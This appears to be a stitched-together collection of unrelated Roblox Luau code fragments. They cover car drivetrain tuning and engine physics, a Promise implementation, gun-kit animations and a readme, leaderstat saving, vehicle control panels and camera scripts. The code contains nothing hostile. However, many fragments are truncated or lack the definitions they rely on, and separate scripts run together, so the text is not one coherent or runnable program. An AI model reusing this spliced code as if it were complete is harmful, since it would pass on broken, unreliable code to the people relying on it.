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--[[Drivetrain]]
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD" Tune.TorqueVector = 0.1 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range. --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 80 -- 1 - 100% Tune.RDiffLockThres = 20 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--weld2
function module.weld2(base,target,tim) local weld = Instance.new("Weld") weld.Part0 = base weld.Part1 = target weld.C0 = target.CFrame:inverse() * base.CFrame weld.Parent = weld.Part1 game.Debris:AddItem(target,tim) end
--This script creates a leaderstat and saves it with the DataStoreService. --Put this inside of the ServerScriptService.
local stat = "Joins" --Change to your stat name local startamount = 0 --Change to how much points the player will start out with local DataStore = game:GetService("DataStoreService") local ds = DataStore:GetDataStore("LeaderStatSave")
--[[ Yield until the promise is completed. This matches the execution model of normal Roblox functions. ]]
function Promise:await() self._unhandledRejection = false if self._status == Promise.Status.Started then local result local bindable = Instance.new("BindableEvent") self:andThen(function(...) result = {...} bindable:Fire(true) end, function(...) result = {...} bindable:Fire(false) end) local ok = bindable.Event:Wait() bindable:Destroy() if not ok then error(tostring(result[1]), 2) end return unpack(result) elseif self._status == Promise.Status.Resolved then return unpack(self._value) elseif self._status == Promise.Status.Rejected then error(tostring(self._value[1]), 2) end end function Promise:_resolve(...) if self._status ~= Promise.Status.Started then return end -- If the resolved value was a Promise, we chain onto it! if Promise.is((...)) then -- Without this warning, arguments sometimes mysteriously disappear if select("#", ...) > 1 then local message = ("When returning a Promise from andThen, extra arguments are discarded! See:\n\n%s"):format( self._source ) warn(message) end (...):andThen(function(...) self:_resolve(...) end, function(...) self:_reject(...) end) return end self._status = Promise.Status.Resolved self._value = {...} -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedResolve) do callback(...) end end function Promise:_reject(...) if self._status ~= Promise.Status.Started then return end self._status = Promise.Status.Rejected self._value = {...} -- If there are any rejection handlers, call those! if not isEmpty(self._queuedReject) then -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedReject) do callback(...) end else -- At this point, no one was able to observe the error. -- An error handler might still be attached if the error occurred -- synchronously. We'll wait one tick, and if there are still no -- observers, then we should put a message in the console. self._unhandledRejection = true -- Rather than trying to figure out how to pack/represent the rejection values, -- we just stringify the first value and leave the rest alone local err = tutils.toString((...)) spawn(function() -- Someone observed the error, hooray! if not self._unhandledRejection then return end -- Build a reasonable message local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format( err, self._source ) warn(message) end) end end return Promise
--[=[ Retrieves an attribute, and if it is nil, returns the default instead. @param instance Instance @param attributeName string @param default T? @return T? ]=]
function AttributeUtils.getAttribute(instance, attributeName, default) local value = instance:GetAttribute(attributeName) if value == nil then return default end return value end return AttributeUtils
--- Copies a table, but not deep. -- @tparam table target Table to copy -- @treturn table New table
function Table.copy(target) local new = {} for key, value in pairs(target) do new[key] = value end return new end
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; -- Reload Anim ReloadAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5) TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5) wait(0.5) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame) objs[4].Transparency = 1 objs[6]:WaitForChild("MagOut"):Play() TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3) TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) objs[6]:WaitForChild('MagIn'):Play() TweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.4) MagC:Destroy() objs[4].Transparency = 0 end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.4) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.2) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.1) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; } return Settings
--by Repilee 5/1/18-- --(plez no leak kthxbai)
local BMWButton = script.Parent:WaitForChild("Button") local car = script.Parent.Parent.Car.Value local WindowFrame = script.Parent:WaitForChild("WindowFrame") local MainFrame = WindowFrame:WaitForChild("MainFrame") local LightBtn = MainFrame:WaitForChild("InteriorLight") local FL = MainFrame:WaitForChild("FL") local FR = MainFrame:WaitForChild("FR") local debounce = false local RR = MainFrame:WaitForChild("RR") local H = MainFrame:WaitForChild("Hood") local TK = MainFrame:WaitForChild("Trunk") local RL = MainFrame:WaitForChild("RL") local handler = car:WaitForChild("BMWPanel_Handler") H.MouseButton1Down:connect(function() handler:FireServer("Hood") end) FL.MouseButton1Down:connect(function() if debounce == false then debounce = true handler:FireServer("Windows", "FL") wait(1) debounce = false end end) FR.MouseButton1Down:connect(function() if debounce == false then debounce = true handler:FireServer("Windows", "FR") wait(1) debounce = false end end) RR.MouseButton1Down:connect(function() if debounce == false then debounce = true handler:FireServer("Windows", "RR") wait(1) debounce = false end end) RL.MouseButton1Down:connect(function() if debounce == false then debounce = true handler:FireServer("Windows", "RL") wait(1) debounce = false end end) BMWButton.MouseButton1Down:Connect(function() if WindowFrame.Visible == false then WindowFrame.Visible = true else WindowFrame.Visible = false end end) LightBtn.MouseButton1Down:connect(function() handler:FireServer("Light") end) for i, btn in pairs(WindowFrame.AmbientLighting:GetChildren()) do if btn:IsA("ImageButton") then btn.MouseButton1Down:connect(function() handler:FireServer("AMB", btn.Name) end) end end TK.MouseButton1Down:connect(function() handler:FireServer("TK") end) WindowFrame.AmbientLighting.BACK.MouseButton1Down:connect(function() MainFrame.Visible = true WindowFrame.AmbientLighting.Visible = false end) MainFrame.AMBSettings.MouseButton1Down:connect(function() MainFrame.Visible = false WindowFrame.AmbientLighting.Visible = true end)
--!strict --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
local Packages = script.Parent.Parent local LuauPolyfill = require(Packages.LuauPolyfill) type Array<T> = LuauPolyfill.Array<T> type Object = LuauPolyfill.Object type void = nil type NonMaybeType<T> = T local flowtypes = require(script.Parent["flowtypes.roblox"]) type React_Element<T> = flowtypes.React_Element<T> type React_Node = flowtypes.React_Node type SimpleMap<K, V> = { [K]: V } type Iterable<T> = SimpleMap<string | number, T> | Array<T> export type ReactNode<T = any> = React_Element<T> | ReactPortal -- | ReactText | ReactFragment | ReactProvider<T> | ReactConsumer<T> export type ReactEmpty = nil | void | boolean export type ReactFragment = ReactEmpty | Iterable<React_Node> export type ReactNodeList = ReactEmpty | React_Node
--Y3llow Mustang 2/26/2021--
local clone = script.Parent:Clone()
--// F key, Horn
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 4 veh.Lightbar.middle.Yelp.Volume = 4 veh.Lightbar.middle.Priority.Volume = 4 veh.Lightbar.middle.Manual.Volume = 4 veh.Lightbar.middle.rWail.Volume = 3 veh.Lightbar.middle.rYelp.Volume = 3 veh.Lightbar.middle.rPriority.Volume = 3 end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end) mouse.KeyDown:connect(function(key) if key=="]" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.TD.RemoteEvent:FireServer(true) end end) mouse.KeyDown:connect(function(key) if key=="k" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.TA.RemoteEvent:FireServer(true) end end)
-- Explosion shake:
ExplosionEvent.OnClientEvent:Connect(function() if ShakeState == true then camShake:Shake(CameraShaker.Presets.Explosion) end end)
--Main
local StringUtil: any = {} function StringUtil.GetReadLength(length: number): number return 5 end function StringUtil.CondenseText(str: string): string local finalStr: string = "" local isMarkdown: boolean = false local i = 0 while i < #str do i += 1 local currentChar: string = string.sub(str, i, i) if currentChar == "<" then isMarkdown = true continue elseif currentChar == ">" then isMarkdown = false continue elseif isMarkdown then continue end local wasEscapeCharacter: boolean = false if currentChar == "&" then --Suspected as escape character. for j = i, #str do if string.sub(str, j, j) == ";" then local suspectedEscape: string = string.sub(str, i, j) for _, pattern: string in ipairs(RichTextEscapeCharacters) do if suspectedEscape == pattern[1] then --move i to j (end of escape character) i = j finalStr ..= pattern[2] wasEscapeCharacter = true break end end break end end end if not wasEscapeCharacter then finalStr ..= currentChar end end return finalStr end function StringUtil.CountCharacters(str: string): number return #StringUtil.CondenseText(str) end return StringUtil
--Engine
function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car is off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*_Tune.FinalDrive*30/math.pi,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = ( (_RPM*2*clutchP) + (aRPM*2*(1-clutchP)) )/2 _HP = (_Tune.Horsepower/2) * math.sin((math.pi/((1+(math.min(10,_Tune.IdleOffset)/100))*_Tune.PeakRPM)) * (_RPM - (((2-(1+(math.min(10,_Tune.IdleOffset)/100)))* _Tune.PeakRPM)/2))) + (_Tune.Horsepower/2) _OutTorque = _HP * 5250 / _RPM * _Tune.Ratios[_CGear+2] * _Tune.FinalDrive else if _GThrot-_Tune.IdleThrottle>0 then _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end _OutTorque = 0 end --Rev Limiter local spLimit = 0 if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce spLimit = 0 else _RPM = _RPM-_Tune.RevBounce*.5 end else spLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*_Tune.FinalDrive) end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*_Tune.FinalDrive*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/_Tune.FinalDrive) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/_Tune.FinalDrive) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-_Tune.IdleThrottle > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Differential Stuff local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Apply Forces for i,v in pairs(car.Wheels:GetChildren()) do local Ref=v.Axle.CFrame.lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --Torque Compensation if _Tune.Config ~= "AWD" then _OutTorque = _OutTorque*1.3 end --Differential if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_Tune.PBrakeForce v["#AV"].angularvelocity=Vector3.new() else if (_TMode == "Manual" and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-_Tune.IdleThrottle==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-_Tune.TCSLimit)) end if tqTCS < 1 then _TCSActive = true else _TCSActive = false end local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_Tune.BrakeForce*brake v["#AV"].angularvelocity=Vector3.new() end end end end
----- Services
local ActionService = game:GetService("ContextActionService") local UserInputService = game:GetService("UserInputService") local RS = game:GetService("ReplicatedStorage")
-- Initialize move tool
local MoveTool = require(CoreTools:WaitForChild 'Move'); Core.AssignHotkey('Z', Core.Support.Call(Core.EquipTool, MoveTool)); Core.AddToolButton(Core.Assets.MoveIcon, 'Z', MoveTool)
-- Services
local playerService = game:GetService("Players") local i = game:GetService("UserInputService") playerService.PlayerAdded:Connect(function (plr) plr.CharacterAdded:wait() i.InputBegan:Connect(function(a) if a.KeyCode == Enum.KeyCode.F then plr.CameraMode = Enum.CameraMode.Classic elseif a.KeyCode == Enum.KeyCode.Z then plr.CameraMode = Enum.CameraMode.LockFirstPerson end end) end)
-- Called once when the realism client is starting. -- This is intended for compatibility with AeroGameFramework modules, -- but the function will automatically be called if executed from a LocalScript.
function CharacterRealism:Start() assert(not _G.DefineRealismClient, "Realism can only be started once on the client!") _G.DefineRealismClient = true for key, value in pairs(Config) do self[key] = value end for _,humanoid in pairs(CollectionService:GetTagged(self.BindTag)) do self:OnHumanoidAdded(humanoid) end self:Connect("UpdateLookAngles", RunService.Heartbeat) self:Connect("OnLookReceive", self.SetLookAngles.OnClientEvent) self:Connect("OnHumanoidAdded", CollectionService:GetInstanceAddedSignal(self.BindTag)) end if script:IsA("ModuleScript") then -- Return the system as a module table. return CharacterRealism else -- Sanity check assert(script:FindFirstAncestorOfClass("PlayerScripts"), "RealismClient must be a descendant of the PlayerScripts!") assert(Players.LocalPlayer, "RealismClient expects a Player on the client to automatically start execution!") -- Start automatically. CharacterRealism:Start() end
--//Tool Function\\--
tool.Equipped:Connect(function() contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E) contextActionService:SetImage("ActivateSpecial", tool.TextureId) contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25)) mouse.Icon = cursorId end) tool.Unequipped:Connect(function() contextActionService:UnbindAction("ActivateSpecial") mouse.Icon = "" end) tool.Activated:Connect(function() if not enabled then return end enabled = false fire:FireServer(mouse.Hit) wait(fireRate.Value) enabled = true end) hit.OnClientEvent:Connect(function() mouse.Icon = hitId handle.Hitmark:Play() wait(0.075) mouse.Icon = cursorId end) activateSpecial.OnClientEvent:Connect(function() for i = specialRechargeTime.Value, 0, -1 do wait(1) specialDB = false print("Recharging: "..i) end specialDB = true end)
----//Functions//
function hidethingy() workspace.SpecialItems.CameraTarget.Transparency = 1 workspace.SpecialItems.CameraTarget.Facing.Visible = false end hidethingy() repeat wait(0.1) until Plr.Character ~= nil CurrentCamera.CameraType = Enum.CameraType.Scriptable CurrentCamera.CFrame = workspace.SpecialItems.CameraTarget.CFrame
-- Get the necessary UI elements
local gui = script.Parent.Parent.Parent.AppManager.Settings.Main.User local guiStore = script.Parent.Parent.Parent.AppManager["App Store"].ProfilePicture local ClipSettings = require(game.ReplicatedFirst.ClipSettings) local profilePicture = gui.ProfilePicture local displayName = gui.DisplayName
--[[ Constructs a new computed state object which maps pairs of an array using a `processor` function. Optionally, a `destructor` function can be specified for cleaning up values. If omitted, the default cleanup function will be used instead. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local captureDependencies = require(Package.Dependencies.captureDependencies) local initDependency = require(Package.Dependencies.initDependency) local useDependency = require(Package.Dependencies.useDependency) local parseError = require(Package.Logging.parseError) local logErrorNonFatal = require(Package.Logging.logErrorNonFatal) local cleanup = require(Package.Utility.cleanup) local class = {} local CLASS_METATABLE = {__index = class} local WEAK_KEYS_METATABLE = {__mode = "k"}
--[[ VERSION: v0.0.3 ----------[ UPDATES ]---------------------------------------------------- Pre-Release: -Added a copyright -fixed the issue where you couldn't run when you selected the tool -Added an ADS key and allowed ADS to either be toggle or hold -Made the Ammo values external so they can be changed by outside scripts v0.0.2: -Created new arms for the gun -Fixed an issue where the arms would glitch if PlayerAnimations was set to false and the gun was fired -Updated credit security -Put the Arm cframes in the SETTINGS -Made the stance changing animations slightly smoother -Added bullet drop -Fixed some bullet hit handling code -Made the torso being able to rotate while sitting down a setting -Added bullet settings -Added shockwave settings -Added an Explosive guntype -Added a version label in the Gui v0.0.3: -Added an option to have player arms -Added grenades / throwables -Fixed the issue where if a player left a server without deselecting the gun, the bullet trails still remained -Added Gui Scopes -Fixed the issue where the guns would glitch if you switched weapons too fast ------------------------------------------------------------------------- Hello there! Glad to know you're using my one and only Gun Kit! Even though this kit has many features and is rather advanced, it's pretty easy to use There are 4 things that this gun needs in order to function: One brick called "AimPart" At least one brick called "Mag" One brick called "Handle" One brick called "Main" The AimPart is what the gun will use to aim down the sights. When you aim down your sights, this brick will be in the center of the player's head. It basically allows the gun to have any type of sight, which can be placed anywhere on the gun. As long as the AimPart is aligned with the sight, the gun will aim down the sights properly. (NOTE: Make sure the AimPart is behind the Sight and the FRONT of the AimPart is facing the Sight) The Mag is what the gun will move around when you reload the gun. If the mag is made up of more than one brick, make sure those bricks are also called "Mag" so that the gun will move them around. If you set ReloadAnimation to false in the SETTINGS, you don't need any bricks called "Mag". But if ReloadAnimation is set to true, the gun needs at least one brick called "Mag" or it will break The Handle is obviously the most important part of the Gun. Without it, the tool itself wouldn't work. It's that simple (NOTE: If you want a sound to play when you fire, name it "FireSound" and place it in the Handle. If you want a sound to play when you reload, name it "ReloadSound" and place it in the Handle) The Main is the brick where the bullets will originate from. It's also the brick where the flash effects are kept. (NOTE: If you want a flash billboardgui to appear when you fire, name it "FlashGui" and place it in the Main. If you want a light to flash when you fire, name it "FlashFX" and place it in the Main) ----------[ INSTRUCTIONS ]----------------------------------------------- HOW TO USE THIS KIT: 1) If the gun already has a Handle, make sure it is facing forward. If the gun doesn't have a Handle, create one and place it wherever you like, and make sure it is facing forward 2) If the gun already has a brick called "AimPart", move it to where you would like, and make sure it is facing the sight. If the gun doesn't have a brick called "AimPart", create one and move it where you would like it to be, and make sure it is facing the sight 3) If the gun already has a brick called "Main", move it to the very front of the gun. If the gun doesn't have a brick called "Main", create one and move it to the very front of the gun 4) If ReloadAnimation is set to true in the SETTINGS, make sure the gun has at least one brick called "Mag". If ReloadAnimation is set to false, the gun doesn't need any bricks called "Mag". 5) Open the SETTINGS and edit them however you like That's it! Only 5 steps! It's not that complicated, just follow the Directions and it should work fine. If you have any questions / comments / concerns, message me. ______ ______ __ ______ _ ______ / _/ _/ /_ __/_ _______/ /_ ____ / ____/_ _______(_)___ ____ / / / / // / / / / / / / ___/ __ \/ __ \/ /_ / / / / ___/ / __ \/ __ \ / // / / // / / / / /_/ / / / /_/ / /_/ / __/ / /_/ (__ ) / /_/ / / / / / // / / // / /_/ \__,_/_/ /_.___/\____/_/ \__,_/____/_/\____/_/ /_/ _/ // / /__/__/ /__/__/ --]]
